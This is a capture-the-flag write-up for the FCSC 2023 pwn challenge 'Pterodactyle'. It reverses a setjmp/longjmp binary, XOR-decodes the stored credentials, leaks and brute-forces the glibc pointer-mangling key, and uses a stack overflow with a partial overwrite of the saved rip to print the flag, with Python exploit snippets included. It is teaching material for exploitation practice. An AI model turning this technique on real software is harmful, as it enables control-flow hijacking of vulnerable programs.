FCSC2023 - Pwn Write-up : Pterodactyle Link to heading

👀 - Overview Link to heading

Vous devez afficher le contenu du fichier flag.txt.

We are only given this binary file and no further instructions.

As always, we’re starting by running the binary file praying it’s not a malware !

$ ./pterodactyle
	1: Log in
	0: Exit
	>> 1
	Login:
	>> aaa
	Password:
	>> aaa
	Wrong password!
	1: Log in
	0: Exit
	>> 0

Alright, seems to do some basic authentification stuff, playing a bit with the inputs, you’ll quickly find that you can cause SIGSEV and SIGBUS by sending large inputs as the login or the password, so it seems to be a stack based challenge.

Confirming this idea is the fact that there is no canary protection on the file:

$ checksec ./pterodactyle
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Before firing up ghidra and starting reversing, I like to check the symbols present in the binary:

$ nm ./pterodactyle
<snip>
0000000000004000 W data_start
00000000000012b8 T decrypt
<snip>
00000000000012fe T main
                 U memcmp@GLIBC_2.2.5
00000000000011f5 T menu
                 U open@GLIBC_2.2.5
0000000000002020 R PASSWORD
<snip>
0000000000004010 B stdout@GLIBC_2.2.5
0000000000004010 D __TMC_END__
0000000000002010 R USERNAME
                 U write@GLIBC_2.2.5

No obvious symbols like flag or win, but we can see the global variables PASSWORD, USERNAME and the function decrypt that seems pretty interesting

🔍 - Analysis Link to heading

Now let’s understand what the binary does (simplified);

int main() {
  connected = 0;
  env_value = _setjmp(&jmp_buf);
  switch(env_value) {
  case 0:
    longjmp(&jmp_buf,1);

  case 1:
    choice = menu(connected);
    if (choice == -1) {
      exit(1);
    }
    longjmp(&jmp_buf,choice + 1);

  case 2:
    puts("Login:");
    printf(">> ");
    fflush(stdout);
    size = read(0,login,128);
    decrypt(login, (size & 0xffffffff), (size & 0xffffffff), in_RCX, in_R8);
    puts("Password:");
    printf(">> ");
    fflush(stdout);
    size = read(0,password,128);
    decrypt(password, (size & 0xffffffff), (size & 0xffffffff), in_RCX, in_R8);
    env_value = memcmp(login,&USERNAME,5);
    if ((env_value == 0) && (env_value = memcmp(password,PASSWORD,0x10), env_value == 0)) {
      connected = 1;
    }
    else {
      puts("Wrong password!");
    }
    longjmp(&jmp_buf,1);

  case 3:
    if (connected == 0) {
      puts("Do not try to be smart!");
      longjmp(&jmp_buf,1);
    }
    puts("Here, get a cookie! Yum Yum! :-)");
    write(1,&jmp_buf,0x40);
    longjmp(&jmp_buf,1);

  case 4:
    if (connected == 0) {
      puts("Do not try to be smart!");
      longjmp(&jmp_buf,1);
    }
    puts("Bye bye o/");
    connected = 0;
    longjmp(&jmp_buf,1);

  default:
    exit(0);

  case 0x2a:
    break;
  }
  flag_file = open("flag.txt",0);
  size = read(flag_file,login,0x80);
  write(1,login, size);
  env_value = close(flag_file);
  longjmp(&jmp_buf,1);
}

Uhh, a switch case with no breaks ? _setjumpbuf ? longjmp ? jump_buf ???

So, after searching a lot about those, I finally understood that long jumps are used to manipulate control flow and retrieving the saved state of the program when the jump is initialized (_setjmp).

When _setjmp is called, the program will saved it’s state (registers, stack etc…) in a struct called jmp_buf (we’ll come back on that later), return 0 and continue the normal execution flow until a longjmp, that takes two parameters, the said jmp_buf and a return value that the _setjmp will return.

So the first time _setjmp is called, when we start the binary, env_value is 0, meaning that the switch case will go in the first case, which only does a longjmp(&jmp_buf, 1). But this time, env_value = _setjmp(&jmp_buf); will not return 0 but 1 since we called longjmp with 1, so the execution flow will go in the case 1: this time !

Alright, we understood what those weird functions does, now let’s find the juicy stuff 🚀

The case 2 jumps to the eyes, when reading login and password from STDIN, it reads 124 bytes when the buffers of login and password are only 32 bytes long ! There is our vulnerable code, we can overflow the buffer and overwrite the saved rip to control execution flow !

But, finding the vulnerablity does not mean we finished the challenge, we now need a way to exploit it and to bypass PIE in order to return to where the flag is printed (after the switch case).

There is also another important part in this section, when the program reads login and password from the STDIN, it calls decrypt and then compares them to LOGIN and PASSWORD (global variables that we previously saw with the nm program). Checking the content of the variables makes me think that they are encrypted, so I directly go to the decrypt function (simplified):

int decrypt(EVP_PKEY_CTX *ctx,uchar *out,size_t *outlen,uchar *in,size_t inlen)

{
  int i;
  
  for (i = 0; i < out; i = i + 1) {
    ctx[i] = (ctx[i] ^ 0x77);
  }
  return i;
}

… I was afraid when looking at all those weird parameters in the call, but it seems that it only does a basic xor operation on our input !

With that, we can easily extract the original values of PASSWORD and USERNAME, since:

A ^ X = B
A ^ B = X

Here’s my little python script to retrieve the origal values of USERNAME and PASSWORD:

password_enc = b'\x3a\x0e\x24\x12\x34\x05\x44\x23\x27\x43\x53\x53\x20\x47\x05\x13'
username_enc = b'\x16\x13\x1a\x1e\x19'
key = 0x77

username = ""
for el in username_enc:
  username += chr(el ^ key)

password = ""
for el in password_enc:
  password += chr(el ^ key)


print(f"{username} : {password}")

And that gives us: admin : MySeCr3TP4$$W0rd !

Obviously, that’s not enough to have the flag, but, we unlock a new choice:

Login:
>> admin
Password:
>> MySeCr3TP4$$W0rd
1: Log in
2: Get cookie
3: Logout
0: Exit
>> 2
Here, get a cookie! Yum Yum! :-)
�4��@�*0L�4��B���@^-0L�@�1
�

This cookie looks like a nice leak :-)

Looking at the code, we see that it indeed leak something, and it’s the jmp_buf structure !

write(1,&jmp_buf,0x40);

Analysing what happens when we call longjmp with gdb, the jmp_buf looked like this:

struct jmp_buf
{
  int stack_leak1;
  int saved_rbp_enc;
  int null1;
  int stack_leak2;
  int null2;
  int stack_leak3;
  int saved_rsp_enc;
  int saved_rip_enc;
};

🧙🏼‍♂️ - Exploiting Link to heading

Doing a bit of local python scripting, I was able to extract all of those information thanks to the cookie leak.

Printing leaks...
leak1  - 0x00007fff7a4adce8
rbp    - 0x97e09f78bd948eb3
null1  - 0x0000000000000000
leak2  - 0x00007fff7a4adcf8
null2  - 0x0000000000000000
leak3  - 0x00007f735cd0c000
rsp    - 0x97e09f78bf548eb3
rip    - 0xc2dee6868c0a8eb3

Some of you already saw my error…

First, we have stack addresses, so ASLR is bypassed, but this time we don’t really care about ASLR, since we simply want to go where the flag is printed, so we need to bypass PIE.

The problem is that rip is encoded, and we need to know it’s value to bypass PIE. Reversing a bit what the longjmp does with this encrypted value, I quickly saw that it does a ror 11 on it then a xor operation… With a key that changes each time we start the binary 🥲

BUT it’s not the end ! We have a leak of the stack, we have an encrypted address on the stack (rbp), the rip xored with the same key and we know that the 3 lowest bytes of the final value of rip MUST be 0x31f since PIE does not randomize those bytes… We can brute force the xor key !

Here’s my python code:

# Rotate right: 0b1001 --> 0b1100
ror = lambda val, r_bits, max_bits: \
  ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
  (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))


def calculate_xor_key(known, offset, enc):
  # enc ^ key = known + offset
  # (known+offset) ^ enc = key
  enc_phase1 = ror(enc, 17, 64)
  return (known + offset) ^ enc_phase1

def calculate_setjmp_addr(value, xor_key):
  return ror(value, 17, 64) ^ xor_key


leaks = leak_cookie()
print(f"Known leak : {hex(leaks['leak1'])}")
print(f"enc   rip  : {hex(leaks['rip'])}")

# the xor key is always in the range [0x18, 0x308] and ends with 0x8
for count, i in enumerate(range(0x18, 0x308, 0x10)):
    xor_key = calculate_xor_key(leaks["leak1"], -i, leaks["rbp"])
    print(f"test n°{count+1:02} : stack offset = -0x{i:02x}")
    if (calculate_setjmp_addr(leaks['rip'], xor_key) & 0xfff == 0x31f):
        print(f"FOUND !! <offset={i}> <xor_key={hex(xor_key)}>")
        break
    else:
        print("xor key not found :-(")

rip_leak  = calculate_setjmp_addr(leaks['rip'], xor_key)
rbp_leak  = calculate_setjmp_addr(leaks['rbp'], xor_key)
rsp_leak  = calculate_setjmp_addr(leaks['rsp'], xor_key)
base_addr = rip_leak - JMPBUF_RIP_OFFSET
win_addr  = base_addr + WIN_OFFSET

print(f"RIP  leak : {hex(rip_leak)}")
print(f"RBP  leak : {hex(rbp_leak)}")
print(f"RSP  leak : {hex(rsp_leak)}")
print(f"Base addr : {hex(base_addr)}")
print(f"Win  addr : {hex(win_addr)}")

Which gives us:

Known leak : 0x7ffcd52cfab8
enc   rip  : 0x7f7c30562d21198e
test n°01 : stack offset = -0x18
<snip>
test n°17 : stack offset = -0x118
FOUND !! <offset=280> <xor_key=0x8cc76a7169a5058f>
RIP  leak : 0x55cf718e131f
RBP  leak : 0x7ffcd52cf9a0
RSP  leak : 0x7ffcd52cf880
Base addr : 0x55cf718e0000
Win  addr : 0x55cf718e1595

PIE bypassed 😎

Just to be happy, I decided to test it remotely at this point

leak1  - 0x0000000000000000
rbp    - 0xc73979fe79b6b2e1
null1  - 0x0000065a6d28a110
leak2  - 0x0000000000000000
null2  - 0x0000000000000000
leak3  - 0x0000000000000000
rsp    - 0xc73979fe7b76b2e1
rip    - 0x23efeaa70d28b2e1
Known leak : 0x0
enc   rip  : 0x23efeaa70d28b2e1
test n°01 : stack offset = -0x18
<snip>
xor key not found :-(

… What ?

The cookie leak does not gives us stack leaks ? … 😳

Alright so my big error here was to assume that the longjmp part will behave the same way locally and remotly, since it was new to me, I did not assumed that there could be any difference, which is stupid, stuff changes with libc versions and my libc is probably not the one used in challenges. The challenge’s jmp_buf does not have stack leaks, it seems to only have rbp, rsp and rip encrypted, and something else I still don’t really know what it is.

After a good night of sleep, I came back with new ideas, we don’t have any stack leak so we can not fully leak the xor key, but we still know what the 3 lowest bytes of rip is, and we just need to overwrite those 3 bytes since the code where the flag is printed is in the binary.

So yeah, we can’t bypass PIE, but we can xor the 3 lowest bytes of our win address (0x595) and replace the result with the 3 lowest bytes rip_enc in the jmp_buf struct, so when _setjmp will be called, it will go to our win address instead of continuing normal execution flow. And since we have a buffer overflow on password, and that jmp_buf is located under password in the stack, we can overwrite it ! So we do so, replacing only the last 3 bytes of rip_enc.


win_phase1_lsb = 0x595 ^ xor_lsb

# replacing last 3 bytes
rip_phase1 = ror(leaks["rip"], 17, 64)
rip_to_str = hex(rip_phase1)[:-3]
rip_phase1_patched = int(rip_to_str + hex(win_phase1_lsb)[2:], 16)

The last thing I had to do is to xor my entire payload with 0x77 since my payload will go through the decrypt function that xor it with 0x77, once it’s done, I just had to start the script and pray

And….

$ python3 exploit.py
leak1  - 0x0000000000000000
rbp    - 0x86702625b2e54d13
null1  - 0x0000564d5ae60110
leak2  - 0x0000000000000000
null2  - 0x0000000000000000
leak3  - 0x0000000000000000
rsp    - 0x86702625b0a54d13
rip    - 0xd51563324a3b4d13
Brute forcing 3 LSB xor key

Found match for xor key = 0x602
win_enc value : 0xa689ea8ab1992397
Sending payload...
---------------------------
[*] Switching to interactive mode
Wrong password!
FCSC{17dc6f007f4149469fe3d361d5b1c7f9694f3ec363b26e051974540aa6eaf666}

We got the flag !! 🥳

✅ - Conclusion Link to heading

Really interesting challenge, made me discover long jumps and do some cool tricks with the stack.

Despite my error that cost me a lot of time, I was close enough and was able to solve it, even if I was kinda desesperate when I understood that I did not had stack leaks remotely. It was still interesting to brute force the xor key with the offset of the leak and rbp so it’s fine and I ended up flagging with the correct way so it’s fine :-)

You can find the entire script I used here